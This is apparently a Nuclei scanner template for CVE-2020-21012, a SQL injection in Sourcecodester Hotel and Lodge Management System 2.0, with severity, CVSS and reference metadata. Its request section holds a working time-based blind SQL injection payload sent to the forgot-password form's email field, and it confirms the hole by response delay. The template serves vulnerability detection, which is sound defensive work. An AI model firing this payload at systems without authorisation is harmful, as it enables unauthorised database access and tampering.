48 lines
2.0 KiB
YAML
48 lines
2.0 KiB
YAML
id: CVE-2020-21012
|
|
|
|
info:
|
|
name: Sourcecodester Hotel and Lodge Management System 2.0 - SQL Injection
|
|
author: edoardottt
|
|
severity: critical
|
|
description: |
|
|
Sourcecodester Hotel and Lodge Management System 2.0 contains a SQL injection vulnerability via the email parameter to the edit page for Customer, Room, Currency, Room Booking Details, or Tax Details. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
|
|
remediation: |
|
|
Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Sourcecodester Hotel and Lodge Management System 2.0.
|
|
reference:
|
|
- https://github.com/hitIer/web_test/tree/master/hotel
|
|
- https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-21012
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-21012
|
|
cwe-id: CWE-89
|
|
epss-score: 0.0341
|
|
epss-percentile: 0.90369
|
|
cpe: cpe:2.3:a:hotel_and_lodge_booking_management_system_project:hotel_and_lodge_booking_management_system:2.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: hotel_and_lodge_booking_management_system_project
|
|
product: hotel_and_lodge_booking_management_system
|
|
tags: cve,cve2020,hotel,sqli,unauth
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /forgot_password.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
btn_forgot=1&email=1%27%20or%20sleep(6)%23
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration>=6'
|
|
- 'status_code == 200'
|
|
- 'contains(body, "Hotel Booking System")'
|
|
condition: and
|
|
|
|
# digest: 490a0046304402207c3f0e7f459e0b438f4f0e2ac0ec57d0b7051a8edfa01d7e46e2c7e49163b0fe0220300173ce6cebfa2139315377a55a61d149285ac5f4a7fce5b40ab26646ff5d0e:922c64590222798bb761d5b6d8e72950
|